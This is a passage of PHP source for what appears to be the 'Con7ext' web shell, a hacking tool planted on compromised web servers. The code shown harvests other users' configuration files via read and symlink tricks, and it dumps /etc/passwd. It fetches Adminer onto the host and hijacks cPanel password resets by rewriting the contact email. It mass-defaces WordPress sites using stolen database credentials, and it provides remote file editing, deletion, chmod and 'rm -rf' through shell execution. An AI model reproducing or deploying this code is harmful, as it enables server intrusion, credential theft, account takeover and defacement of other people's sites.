817 "/home/$meh/public_html/my/includes/iso4217.php" => "Hostbills",
818 "/home/$meh/public_html/secure/includes/iso4217.php" => "Hostbills",
819 "/home/$meh/public_html/support/order/includes/iso4217.php" => "Hostbills"
820 );
821 foreach($mah as $conf => $name){
822 if($_POST["conf"] == "grab"){
823 $confs = file_get_contents($conf);
824 if($confs == ''){
825 ///GIMME NULL
826 }
827 else{
828 $file = fopen("con7ext_conf/grab/$meh-$conf.txt", "w");
829 fputs($file, $confs);
830 }
831 }
832 elseif($_POST["conf"] == "sym"){
833 @symlink($conf, "con7ext_conf/sym/$meh-$conf.txt");
834 }
835 elseif($_POST["conf"] == "404"){
836 @mkdir("con7ext_conf/404/$meh-$conf.txt404", 0777);
837 @file_put_contents("con7ext_conf/404/$meh-$conf.txt404/.htaccess", 4042);
838 @symlink($conf, "con7ext_conf/404/$meh-$conf.txt404/con7ext.txt");
839 }
840 }
841 }
842 }
843 else{
844 echo "<form method=\"POST\" action=\"\">
845 <center>
846 <textarea name=\"pws\">";
847 echo include("/etc/passwd");
848 echo "</textarea><br>
849 <select name=\"conf\">
850 <option>--Select---</option>
851 <option value=\"grab\">Config Grab</option>
852 <option value=\"sym\">Symlink Config</option>
853 <option value=\"404\">Config Grab 404</option>
854 <option value=\"vhosts\">Vhost Config</option>
855 </select>
856 <input type=\"submit\" name=\"subm\" value=\"Grab\">";
857 }
858 }
859 elseif($nTod == "adminer"){
860 $meh = makeRequest("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php");
861 if(file_exists("adminer.php")){
862 echo "<script>alert(\"File is Exists here is $mpss/adminer.php\");</script>";
863 }
864 else{
865 $fp = fopen("adminer.php", "w");
866 if(fwrite($fp, $meh)){
867 echo "<center><h1><a href=\"$mpss/adminer.php\" target=\"_blank\"> Login Adminer </a></h1></center>";
868 fclose($fp);
869 }
870 else{
871 echo "<script>alert(\"Failed to create a adminer\");</script>";
872 }
873 }
874 }
875 elseif($nTod == "cpreset"){
876 if(function_exists("posix_getpwuid")){
877 $meh = @posix_getpwuid(fileowner(__FILE__));
878 }
879 else{
880 $meh = fileowner(__FILE__);
881 }
882 if(is_dir("/home/".$meh["name"]."/.cpanel")){
883 echo "<center>
884 <h1>Cpanel Reset</h1>
885 <form method=\"POST\">
886 <input type=\"text\" name=\"email\" placeholder=\"email@kntlo.com\" required>
887 <input type=\"submit\" name=\"subm\" value=\"Reset\"></center>";
888 $mps = makeRequest($ip."/cpanel");
889 if($_POST["subm"]){
890 if(preg_match("/>Reset Password/", $mps)){
891 $fp = fopen("/home/".$meh["name"]."/.contactemail", "w");
892 if(fwrite($fp, $_POST["email"])){
893 echo "<center>Success ... Try to reset password User: ".$meh["name"]." | ".$_POST["email"]." | <a href=\"http://$ip/cpanel\">Click Here</a></center>";
894 @unlink("/home/".$meh["name"]."/.cpanel/contactinfo");
895 }
896 else{
897 echo "<script>alert(\"Sorry i can't edit file .contactemail please try manual\");</script>";
898 }
899 }
900 else{
901 echo "<center>Its cpanel host but Reset password is disabled :|</center>";
902 }
903 }
904 }
905 else{
906 echo "<script>alert(\"Sorry Is not a cpanel Host\");</script>";
907 }
908 }
909 elseif($nTod == "titleChange"){
910 echo "<center>";
911 echo "
912 <h1>Mass Wordpress Title Changer</h1>
913 <form method=\"POST\">
914 Link Config: <input type=\"text\" name=\"conf\" placeholder=\"http://site.com/con7ext_conf/sym/\">
915 <input type=\"submit\" name =\"Change\" value=\"Change\">
916 </form>";
917 if($_POST["Change"]){
918 echo "
919 <form method=\"POST\">
920 <br>
921 <textarea name=\"list\">";
922 getBwah($_POST["conf"], 'wordpress');
923 echo "</textarea><br>ID Article:
924 <input type=\"text\" name=\"artcID\" value=\"1\"><br>
925 TITLE :
926 <input type=\"text\" name=\"toTitle\" value=\"Hacked By Con7ext\"><br>
927 CONTENT :
928 <input type=\"text\" name=\"conT\" value=\"Hacked By Con7ext\"><br>
929 POSTNAME :
930 <input type=\"text\" name=\"pName\" value=\"Hacked By Con7ext\"><br>
931 <input type=\"submit\" name=\"subm\" value=\"Change\">
932 </form>";
933 if($_POST["subm"]){
934 $title = htmlspecialchars($_POST["toTitle"]);
935 $id = @$_POST["artcID"];
936 $cont = @$_POST["conT"];
937 $postn = @$_POST["pName"];
938 $link = explode("\r\n", $_POST["list"]);
939 foreach($link as $conf){
940 $config = cookieRequest($conf);
941 $host = getStr($config, "DB_HOST', '", "'");
942 $user = getStr($config, "DB_USER', '", "'");
943 $pass = getStr($config, "DB_PASSWORD', '", "'");
944 $name = getStr($config, "DB_NAME', '", "'");
945 $pref = getStr($config, "table_prefix = '", "'");
946 $fix = $pref."posts";
947 $ops = $pref."optios";
948 $conn = mysql_connect($host, $user, $pass);
949 $db = mysql_select_db($name);
950 $query = mysql_query("SELECT * FROM $fix ORDER BY ID ASC");
951 $query2 = mysql_query("SELECT * FROM $ops ORDER BY option_id ASC");
952 $re = mysql_fetch_array($query);
953 $re2 = mysql_fetch_array($query2);
954 $id = $re[ID];
955 $tar = $re2[option_value];
956 $update = mysql_query("UPDATE $fix SET post_title='$title',post_content='$cont',post_name='$postn',post_status='publish',comment_status='open',post_type='post',comment_count='1' WHERE id='$id'");
957 $update .= mysql_query("UPDATE $ops SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
958 if($tar == ''){
959 echo "URL: error, i can't pick domain -> ";
960 }
961 else{
962 echo "URL: <a href=\"$tar/?p=$id\" target=\"_blank\">$tar/?p=$id</a> -> ";
963 }
964 if(!$update || !$conn || $db){
965 echo "MySQL Error: ".mysql_error()."<br>";
966 }
967 else{
968 echo "Success Change.<br>";
969 }
970 mysql_close($conn);
971 }
972 }
973 }
974 echo "</center>";
975 }
976/// SOME FUCKING HERE ///
977 elseif($_GET['action'] == "nFile"){
978 if($_POST["new_save_file"]){
979 $newfile = htmlspecialchars($_POST["newfile"]);
980 $open = fopen($newfile, "a+");
981 if($open){
982 $action = "<script>window.location=\"?action=edit&dir=$dir&file=".$_POST['newfile']."\";</script>";
983 }
984 else{
985 $action = "<script>alert(\"Permission Denied\");</script>";
986 }
987 }
988 echo $action;
989 echo "
990 <form method=\"POST\">
991 Filename: <input type=\"text\" name=\"newfile\" value=\"$dir/ntod.php\">
992 <input type=\"submit\" name=\"new_save_file\" value=\"Submit\">
993 </form>";
994 }
995 elseif($_GET["action"] == "nFolder"){
996 if($_POST['new_act_folder']){
997 $newFolder = $dir."/".htmlspecialchars($_POST["new_folder"]);
998 if(!mkdir($newFolder)){
999 $action = "<script>alert(\"Permission Denied\");</script>";
1000 }
1001 else{
1002 $action = "<script>window.location=\"?dir=$dir\";</script>";
1003 }
1004 }
1005 echo $action;
1006 echo "<form method=\"POST\">
1007 Folder Name: <input type=\"text\" name=\"new_folder\">
1008 <input type=\"submit\" name=\"new_act_folder\" value=\"Submit\">
1009 </form>";
1010 }
1011 elseif($_GET["action"] == "dRename"){
1012 if($_POST["dir_act_rename"]){
1013 $dRename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST["dir_name"])."");
1014 if($dRename){
1015 $action = "<script>window.location=\"?dir=".dirname($dir)."\";</script>";
1016 }
1017 else{
1018 $action = "<script>alert(\"Permission Denied\");</script>";
1019 }
1020 echo "".$act."<br>";
1021 }
1022 echo "<form method=\"POST\">
1023 <input type=\"text\" value=\"".basename($dir)."\" name=\"dir_name\">
1024 <input type=\"submit\" name=\"dir_act_rename\" value=\"Rename\">
1025 </form>";
1026 }
1027 elseif($_GET['action'] == "chmod_dir"){
1028 echo "<form method=\"POST\">
1029 <input type=\"text\" name=\"ch_target\" value=\"$dir\"><br>
1030 <input type=\"text\" name=\"ch_mod\" value=\"0755\">
1031 <input type=\"submit\" name=\"act_ch\" value=\"Chmod\">
1032 </form>";
1033 if($_POST["act_ch"]){
1034 $haha = (execute("chmod ".@$_POST["ch_mod"]." ".@$_POST["ch_target"].";echo success")) ? "<font color=\"#1D8348\">Successfully</font>" : "<font color=\"#C0392B\">Failed</font>";
1035 echo "Chmod To ".@$_POST["ch_mod"]." ".$haha;
1036 }
1037 }
1038 elseif($_GET["action"] == "delete_dir"){
1039 if(is_dir($dir)){
1040 if(is_writable($dir)){
1041 @rmdir($dir);
1042 @execute("rm -rf $dir");
1043 @execute("rmdir /s /q $dir");
1044 $action = "<script>window.location=\"?dir=".dirname($dir)."\";</script>";
1045 }
1046 else{
1047 $action = "<script>alert(\"Could not remove ".basename($dir)."\");</script>";
1048 }
1049 }
1050 echo $action;
1051 }
1052 elseif($_GET["action"] == "chmod"){
1053 echo "<form method=\"POST\"><input type=\"text\" name=\"ch_target\" value=\"".$_GET['file']."\"><br><input type=\"text\" name=\"ch_mod\" value=\"0755\"><input type=\"submit\" name=\"act_ch\" value=\"Chmod\"></form>";
1054 if($_POST["act_ch"]){
1055 $haha = (execute("chmod ".@$_POST["ch_mod"]." ".@$_POST["ch_target"].";echo success")) ? "<font color=\"#1D8348\">Successfully</font>" : "<font color=\"#C0392B\">Failed</font>";
1056 echo "Chmod To ".@$_POST["ch_mod"]." ".$haha;
1057 }
1058 }
1059 elseif($_GET['action'] == "view"){
1060 echo "Filename: <font color=\"#1D8348\">".basename($_GET["file"])."</font> | <a href=\"?action=view&dir=$dir&file=".$_GET["file"]."\"><u>View</u></a> | <a href=\"?action=edit&dir=$dir&file=".$_GET["file"]."\">Edit</a> | <a href=\"?action=rename&dir=$dir&file=".$_GET["file"]."\">Rename</a> | <a href=\"?action=chmod&dir=$dir&file=".$_GET["file"]."\">Chmod</a> | <a href=\"?action=download&dir=$dir&file=".$_GET["file"]."\">Download</a> | <a href=\"?action=delete&dir=$dir&file=".$_GET["file"]."\">Delete</a><br>";
1061 echo "<pre><texarea disabled>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea></pre>";
1062 }
1063 elseif($_GET["action"] == "edit"){
1064 if($_POST['save']){
1065 $save = @file_put_contents($_GET['file'], $_POST['new']);
1066 if($save){
1067 $action = "<font color=\"#1D8348\">".$_GET['file']." Saved!</font>";
1068 }
1069 else{
1070 $action = "<script>alert(\"Could not edit file... permission denied\");</script>";
1071 }
1072 echo "".$action."<br>";
1073 }
1074 echo "Filename: <font color=\"#1D8348\">".basename($_GET["file"])."</font> | <a href=\"?action=view&dir=$dir&file=".$_GET["file"]."\">View</a> | <a href=\"?action=edit&dir=$dir&file=".$_GET["file"]."\"><u>Edit</u></a> | <a href=\"?action=rename&dir=$dir&file=".$_GET["file"]."\">Rename</a> | <a href=\"?action=chmod&dir=$dir&file=".$_GET["file"]."\">Chmod</a> | <a href=\"?action=download&dir=$dir&file=".$_GET["file"]."\">Download</a> | <a href=\"?action=delete&dir=$dir&file=".$_GET["file"]."\">Delete</a><br>";
1075 echo "<form method=\"POST\">
1076 <textarea name=\"new\">".htmlspecialchars(@file_get_contents($_GET["file"]))."</textarea><br>
1077 <input type=\"submit\" value=\"Save\" name=\"save\">
1078 </form>";
1079 }
1080 elseif($_GET["action"] == "rename"){
1081 if($_POST["act_rename"]){
1082 $rename = rename($_GET["file"], "$dir/".htmlspecialchars($_POST["rename"])."");
1083 if($rename){
1084 $action = "<script>window.location=\"?dir=$dir\";</script>";
1085 }
1086 else{
1087 $action = "<script>alert(\"Permission Denied\");</script>";
1088 }
1089 echo "".$action."<br>";
1090 }
1091 echo "Filename: <font color=\"#1D8348\">".basename($_GET["file"])."</font> | <a href=\"?action=view&dir=$dir&file=".$_GET["file"]."\">View</a> | <a href=\"?action=edit&dir=$dir&file=".$_GET["file"]."\">Edit</a> | <a href=\"?action=rename&dir=$dir&file=".$_GET["file"]."\"><u>Rename</u></a> | <a href=\"?action=chmod&dir=$dir&file=".$_GET["file"]."\">Chmod</a> | <a href=\"?action=download&dir=$dir&file=".$_GET["file"]."\">Download</a> | <a href=\"?action=delete&dir=$dir&file=".$_GET["file"]."\">Delete</a><br>";
1092 echo "<from method=\"POST\">
1093 <input type=\"text\" value=\"".basename($_GET["file"])."\" name=\"rename\">
1094 <input type=\"submit\" name=\"act_rename\" value=\"Rename\">
1095 </form>";
1096 }
1097 elseif($_GET["action"] == "delete"){
1098 $delete = @unlink($_GET["file"]);
1099 if($delete){
1100 $action = "<script>window.location=\"?dir=$dir\";</script>";
1101 }
1102 else{
1103 $action = "<script>alert(\"Could not delete file... Permission denied\");</script>";
1104 }
1105 echo $action;
1106 }
1107 else{
1108 $scan = scandir($dir);
1109 if(is_dir($dir) === true){
1110 if(!is_readable($dir)){
1111 echo "<script>alert(\"Could not open directory ... permission denied\");</script>";
1112 }
1113 else{
1114 echo "
1115 <table>
1116 <tr>
1117 <th class=\"th_class\"><center>Name</center></th>
1118 <th class=\"th_class\"><center>Type</center></th>
1119 <th class=\"th_class\"><center>Last Modified</center></th>
1120 <th class=\"th_class\"><center>Owner/Group</center</th>
1121 <td class=\"th_class\"><center>Permission</center></th>
1122 <td class=\"th_class\"><center>Action</center</th>
1123 </tr>";
1124 foreach($scan as $dirs){
1125 $type = filetype("$dir/$dirs");
1126 $time = date("F d Y g:i:s", filemtime("$dir/$dirs"));
1127 if(function_exists('posix_getpwuid')){
1128 $owner = @posix_getpwuid(fileowner("$dir/$dirs"));
1129 $owner = $owner['name'];
1130 }
1131 else{
1132 $owner = fileowner("$dir/$dirs");
1133 }
1134 if(function_exists("posix_getgrgid")){
1135 $grp = @posix_getgrgid(filegroup("$dir/$dirs"));
1136 $grp = $grp['name'];
1137 }
1138 else{
1139 $grp = filegroup("$dir/$dirs");
1140 }
1141 if(!is_dir("$dir/$dirs")) continue;
1142 if($dirs === ".."){
1143 $lnk = "<a href=\"?dir=".dirname($dir)."\">$dirs</a>";
1144 }
1145 elseif($dirs === "."){
1146 $lnk = "<a href=\"?dir=$dir\">$dirs</a>";
1147 }
1148 else{
1149 $lnk = "<a href=\"?dir=$dir/$dirs\">$dirs</a>";
1150 }
1151 if($dirs === "." || $dirs === ".."){
1152 $actd = "<a href=\"?action=nFile&dir=$dir\">NF</a>|<a href=\"?action=nFolder&dir=$dir\">ND</a>";
1153 }
1154 else{
1155 $actd = "<a href=\"?action=dRename&dir=$dir/$dirs\">R</a>|<a href=\"?action=delete_dir&dir=$dir/$dirs\">D</a>|<a href=\"?action=chmod_dir&dir=$dir/$dirs\">C</a>";
1156 }
1157 echo "
1158 <tr>
1159 <td class=\"td_class\"><img src=\"https://cdn1.iconfinder.com/data/icons/hawcons/32/699086-icon-94-folder-512.png\" width=\"25\" height=\"16\"> $lnk</td>
1160 <td class=\"td_class\"><center>$type</center></td>
1161 <td class=\"td_class\"><center>$time</center></td>
1162 <td class=\"td_class\"><center>$owner/$grp</center></td>
1163 <td class=\"td_class\"><center>".writAble("$dir/$dirs", perms("$dir/$dirs"))."</center</td>
1164 <td class=\"td_class\" style=\"padding-left: 15px;\">$actd</td>
1165 </tr>";
1166 }
1167 }
1168 }
1169 else{
1170 echo "<script>alert(\"Could not open directory\");</script>";
1171 }
1172 foreach($scan as $file){
1173 $type = filetype("$dir/$file");
1174 $time = date("F d Y g:i:s", filemtime("$dir/$file"));
1175 if(function_exists('posix_getpwuid')){
1176 $owner = @posix_getpwuid(fileowner("$dir/$file"));
1177 $owner = $owner["name"];
1178 }
1179 else{
1180 $owner = fileowner("$dir/$file");
1181 }
1182 if(function_exists("posix_getgrgid")){
1183 $grp = @posix_getgrgid(filegroup("$dir/$file"));
1184 $grp = $grp["name"];
1185 }
1186 else{
1187 $grp = filegroup("$dir/$file");
1188 }
1189 if(function_exists("pathinfo")){
1190 $meh = pathinfo($file);
1191 if($meh["extension"] == "php"){
1192 $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-php-128.png";
1193 }
1194 elseif($meh["extension"] == "js"){
1195 $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-js-128.png";
1196 }
1197 elseif($meh["extension"] == "sql"){
1198 $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-sql-128.png";
1199 }
1200 elseif($meh["extension"] == "xml"){
1201 $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-xml-128.png";
1202 }
1203 elseif($meh["extension"] == "java" || $meh["extension"] == "jsp"){
1204 $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-java-512.png";
1205 }
1206 elseif($meh["extension"] == "html"){
1207 $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-html-128.png";
1208 }
1209 elseif($meh["extension"] == "css"){
1210 $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-css-128.png";
1211 }
1212 elseif($meh["extension"] == "exe"){
1213 $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-exe-128.png";
1214 }
1215 elseif($meh["extension"] == "bin"){
1216 $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-bin-128.png";
1217 }
1218 elseif($meh["extension"] == "pl"){
1219 $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-pl-128.png";
1220 }
1221 elseif($meh["extension"] == "py"){
1222 $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-py-128.png";
1223 }
1224 else{
1225 $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-app-128.png";
1226 }
1227 }else{
1228 $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-app-128.png";
1229 }
1230 if(!is_file("$dir/$file")) continue;
1231 echo "
1232 <tr>
1233 <td class=\"td_class\"><img src=\"$gambar\" width=\"25\" height=\"16\"><a href=\"?action=view&dir=$dir&file=$dir/$file\">$file</a></td>
1234 <td class=\"td_class\"><center>$type</center></td>
1235 <td class=\"td_class\"><center>$time</center></td>
1236 <td class=\"td_class\"><center>$owner/$grp</center></td>
1237 <td class=\"td_class\"><center>".writAble("$dir/$file", perms("$dir/$file"))."</center></td>
1238 <td class=\"td_class\" style=\"padding-left: 15px;\"><a href=\"?action=edit&dir=$dir&file=$dir/$file\">E</a>|<a href=\"?action=rename&dir=$dir&file=$dir/$file\">R</a>|<a href=\"?action=delete&dir=$dir&file=$dir/$file\">D</a>|<a href=\"?action=chmod&dir=$dir&file=$dir/$file\">C</a>|<a href=\"?action=download&dir=$dir&file=$dir/$file\">DL</a></td>
1239 </tr>";
1240 }
1241 echo "</table>";
1242 if(!is_readable($dir)){
1243 //GIMME NULL
1244 }else{
1245 echo "<a href=\"https://www.facebook.com/Con7ext\" target=\"_blank\"><center>Powered By Con7ext</center></a>";
1246 }
1247 }
1248 ?>
1249
1250 </body>
1251</html>